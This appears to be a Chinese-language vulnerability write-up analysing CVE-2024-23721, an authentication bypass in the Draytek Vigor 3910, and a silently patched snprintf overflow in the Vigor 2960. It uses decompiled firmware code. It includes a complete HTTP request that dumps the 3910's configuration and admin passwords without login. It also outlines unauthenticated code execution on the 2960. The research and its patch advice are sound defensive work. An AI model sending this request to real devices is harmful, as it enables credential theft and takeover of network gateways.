Draytek Vigor 3910 & 2960 漏洞分析
本文对 Vigor 3910 的 CVE-2024-23721 和 Vigor 2960 的一个静默修复漏洞进行分析。
Vigor 3910 和 2960 是台湾 Draytek(居易科技) 公司推出的核心网关设备,均包含 VPN 和防火墙功能,因此在企业场景具有一定的应用。
CVE-2024-23721
在上一篇文章中简单介绍了针对 Vigor 3910 的固件解包和模拟过程,3910 设备底层运行的是 Linux 系统,在系统中使用 qemu 模拟启动 sohod64.bin,该文件是 Draytek 自行实现的 DrayOS 系统,业务逻辑基本集中在此文件中。
解包过程不再赘述,我们以 4.3.2.5 版本为例来分析。获取 sohod64.bin 后逆向分析此文件,在 0x40153890 地址找到一个函数,我称之为 process_rquest
,该函数应该是处理 HTTP 请求的入口点,会解析请求中的各个字段
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18
|
else { iVar1 = FUN_406514d8(*(undefined4 *)(param_1 + 0x4538),&DAT_40f85bb0); if (iVar1 == 0) { uVar2 = FUN_40651424("/ACSServer/Upload"); iVar1 = FUN_40651624(param_1 + 0x3e2c,"/ACSServer/Upload",uVar2); if (iVar1 == 0) { FUN_401a7f10(param_1); } uVar2 = FUN_40651424("/SWMACSServer/Upload"); iVar1 = FUN_40651624(param_1 + 0x3e2c,"/SWMACSServer/Upload",uVar2); if (iVar1 == 0) { process_post(param_1); } } }
|
当请求类型为 POST 时,会调用 0x4015F640 函数,我称之为 process_post
,此函数负责处理 POST 类型请求,其中关键代码如下
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30
| void process_post(undefined4 *param_1) { int iVar1; undefined4 uVar2; undefined auStack_14 [4]; int local_10; int local_c; int func_code; undefined4 local_4; local_4 = get_curr_task_prio(); func_code = translate_name(param_1 + 0xf8b,param_1[0xf3e]); else if (func_code < 0x1b6c) { if (func_code == 0x1b67) { iVar1 = form_evaluate_access("/auth_check.cgi",param_1 + 5); if ((iVar1 != -1) && (iVar1 = check_sFormAuth(param_1[0x114d]), iVar1 != 0)) { iVar1 = FUN_401590c0(param_1,param_1[0xf3f]); if (iVar1 == 0) { die(0x1b50,"cfg_gci_export_script"); } else { die(0x1b67,0); } } } } }
|
在 [2]
处,代码会调用 translate_name
函数来处理请求中的 URL,这个函数会将 URL 和固定的字符串进行匹配
1 2 3 4 5 6 7 8 9
| if (*URL == '/') { uVar2 = safe_strlen("Draytek"); iVar1 = safe_strncmp(URL + 1,"Draytek",uVar2); if ((iVar1 == 0) && (iVar1 = strstr(URL,".exp"), iVar1 != 0)) { return 0x1b67; } }
|
当 URL 以 /Draytek
开头并且包含 .exp
字符串时,返回 0x1b67。
回到 process_post
函数,当 translate_name
返回值为 0x1b67 时,来到 [3]
处,代码首先调用 form_evaluate_access
来检查请求是否合法。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18
| __int64 __fastcall form_evaluate_access(__int64 fixed_url, __int64 a2) { fixed_url_1 = fixed_url; v15 = a2; v2 = get_curr_task_prio(fixed_url, a2); v23 = get_request_info(v2); fixed_url_1_1 = v23 + 23932; v10 = safe_strlen("/auth_check.cgi"); if ( !safe_strncmp(fixed_url_1_1, "/auth_check.cgi", v10) ) check_pass = 0; if ( check_pass >= 0 && check_is_from_lan(v23, 32 * check_pass + v2000_table) == -1 ) return -1; dword_4262A750 = dword_47170A24; return 1; }
|
在 [4]
处,会比较第一个参数是否等于 /auth_check.cgi
,显然成立,所以变量 check_pass
为 0。
接着来到 [5]
处,由于 check_pass
等于 0,会继续调用 check_is_from_lan
函数。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33
| __int64 __fastcall check_is_from_lan(unsigned int a1, int a2) { if ( strcasestr(v2 + 15916, "/weblogin.htm") || strcasestr(v2 + 15916, "/cgi-bin/wlogin.cgi") || strcasestr(v2 + 15916, "/doc/cgierr.htm") || strcasestr(v2 + 15916, "/images/") || !sub_4010CD68(v2 + 15916) ) { goto LABEL_121; } LABEL_121: if ( !sub_4059A9D4(*(v2 + 8)) ) { v17 = 16; getpeername(*(v2 + 8), v11 + 168, v11 + 184); v26 = v16; if ( !sub_40140298(dword_47234F44) && ((dword_4BE3E72C ^ v26) & dword_4C3FF280) != 0 && sub_408A523C(v26, v9) <= 0 ) { v25 = sub_408A820C(v26); if ( (!v25 || !*(v25 + 0x1CLL) || (*(v25 + 0x16LL) & 1) == 0 && !sub_4013FAF0(*(v25 + 0x24LL), v26)) && ((dword_4BE3E758 & 1) == 0 || ((dword_4BE66B98 ^ v26) & dword_4BE66B9C) != 0) && !IsFromLan(v26) ) { v38 = (dword_4BE3E758 & 4) != 0 && (dword_4BE3E760 & 5) != 0 || (word_4BE5AA3A & 1) == 0 || IsFromLan(v40); if ( v38 && !sub_4010B418(v26) && !sub_4010B5FC() && (word_4BE5AA3A & 1) == 0 ) byte_4690CAF0 = 1; } } } return 1; }
|
在 [6]
处判断 URL 中是否包含 /images/
,如果是则来到 [7]
处,令 check_is_from_lan
返回 1。回到 form_evaluate_access
函数,当 check_is_from_lan
返回 1 可以继续向下执行,因此 form_evaluate_access
函数也返回 1,在 process_post
函数中就通过了验证。
随后会调用 check_sFormAuth
函数
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25
| bool __fastcall check_sFormAuth(unsigned int a1) { int v1; __int64 v4[3]; unsigned int v5; _BYTE v6[20]; unsigned int v7;
v5 = a1; v7 = 0; safe_memset(v6, 0LL, 16LL); v7 = strstr(v5, "sFormAuthStr="); if ( !v7 ) return 0; v1 = safe_strlen("sFormAuthStr="); v7 += v1; strncpy(v4 + 40, v7, 15LL); v6[15] = 0; return cmp_authstr(v4 + 40) != 0; }
bool __fastcall cmp_authstr(unsigned int a1) { return safe_strcmp(644 * dword_4264B86C + 608 + &unk_4FC06530 + 8, a1) == 0; }
|
这个函数会尝试获取请求中的 sFormAuthStr GET 参数,并调用 cmp_authstr
与内存中保存的数据比较。
这里的问题是,无用户登录的情况下,内存中用于保存 sFormAuthStr 的地址内容为空(0x00),当我们只传入 GET 参数名 sFormAuthStr=
,而不跟随参数值时,在 [8]
处的 strncpy 拷贝的也是空值(0x00)。此时 strcmp 两个参数内容均为空,所以比较成立,导致 check_sFormAuth
返回验证成功。
至此接口的两个验证函数都被绕过,可以直接访问最终的功能函数。回到 process_post
,会继续执行 die(0x1b50,"cfg_gci_export_script");
,die 是一个很大的函数,第一个参数是功能对应的 opcode,第二个参数是功能名称,可以看到 0x1b50 对应配置文件导出。
因此构造如下请求能够获取设备的配置文件,配置文件中包含系统管理员密码等敏感信息。
1 2 3 4 5 6 7 8 9 10
| POST /Draytek.exp/images/?sFormAuthStr= HTTP/1.1 Host: x.x.x.x Accept-Encoding: gzip, deflate Accept: */* Accept-Language: en Connection: close Content-Type: application/x-www-form-urlencoded Content-Length: 63
chk_encryptcfg=170&sEncryptPwd=&sEncryptCnfrmPwd=&sFormAuthStr=
|
以管理员身份登录后攻击者可以尝试寻找一些后台漏洞利用,并逃逸到底层的 Linux 系统,实现持久化控制。
目前官方已经修复该漏洞,建议使用该设备的用户及时更新。
Vigor 2960 静默修复漏洞
与 Draytek 其它型号不同,Vigor 2960 系列设备采用了 Linux 作为底层系统,并没有使用自研的 DrayOS。
有关于 2960 出现过的历史漏洞,网络上有很多复现文章,感兴趣的朋友可以自行查找。需要注意的是该款设备已经处于 EOS 状态,官方支持将持续到 2026 年 12 月,建议使用该设备的用户及时更换新的产品。
在 2024 年 3 月,官方发布了 1.5.1.6 版本更新,该版本中包含对一个未授权远程代码执行漏洞的修复。
web 服务的关键程序是 mainfunction.cgi,这里列举 1.5.1.5 和 1.5.1.6 两个版本代码如下
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17
|
char s[64];
else if ( !strcmp(v5, "/cvmcfgupload") || !strcmp(v5, "/apmcfgupload") ) { v21 = getenv("QUERY_STRING"); v22 = strcmp(v5, "/apmcfgupload") == 0; if ( v21 && (memset(s, 0, 0x20u), v23 = time(0), (v24 = strstr(v21, "session=")) != 0) ) { snprintf(s, "%s", v24 + 8, 11); v25 = strtoul(s, 0, 10); v26 = v23 - (v25 ^ (v25 << 16)); } }
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50
|
char s[52];
else if ( !strcmp(v5, "/cvmcfgupload") || !strcmp(v5, "/apmcfgupload") ) { v20 = getenv("QUERY_STRING"); v33 = 0; if ( !strcmp(v5, "/apmcfgupload") ) { memset(v34, 0, sizeof(v34)); snprintf(&v33, 0x100u, "uci get apmd.general.status"); v21 = 1; } else { memset(v34, 0, sizeof(v34)); snprintf(&v33, 0x100u, "uci get cvmd.general.status"); v21 = 0; } v22 = sub_21F28(&v33); snprintf(&v33, 0x100u, "uci get acc_ctrl.access_control.user_define"); v23 = sub_21F28(&v33); if ( v22 ) { v24 = strcmp(v22, "enable") == 0; if ( !v23 ) v24 = 0; if ( v24 && !strcmp(v23, "enable") ) { if ( v20 ) { memset(s, 0, 0xCu); v25 = time(0); v26 = strstr(v20, "session="); if ( v26 ) { snprintf(s, 0xBu, "%s", v26 + 8); v27 = strtoul(s, 0, 10); if ( v25 - (v27 ^ (v27 << 16)) <= 0x64 ) sub_11660(a3, v20, v21); } } } free(v22); } if ( v23 ) free(v23); }
|
可以看到这是一个非常简单的漏洞,当用户请求 /cvmcfgupload
或者 /apmcfgupload
时,代码尝试在 GET 参数中找到 session,如果存在的话,在 [1]
处使用 snprintf 将其拷贝到栈缓冲区。
然而 snprintf 的函数定义为
1
| int snprintf(char *str, size_t size, const char *format, ...);
|
其中第二个参数应该是最大长度,但开发者错误的将其设置为格式化字符串 %s
,这导致两个问题,栈溢出和 Format string 漏洞。
cvmcfgupload
和 apmcfgupload
两个接口不需要权限即可访问,且 cgi 程序没有开启 Canary、NX 等保护措施,栈溢出控制返回地址之后可以直接跳转到 stack 来执行 shellcode,允许攻击者未授权在设备上执行任意代码。新版本在 [2]
处调换了参数位置,完成对漏洞的修复。
目前官方已经修复该漏洞,建议使用该设备的用户及时更新。
写在最后
此类参数位置错误,以及对于不安全函数的使用在源码检查或编译阶段就应该被发现并纠正,希望开发者可以重视软件安全,防止恶意攻击造成用户隐私信息泄露和财产损失。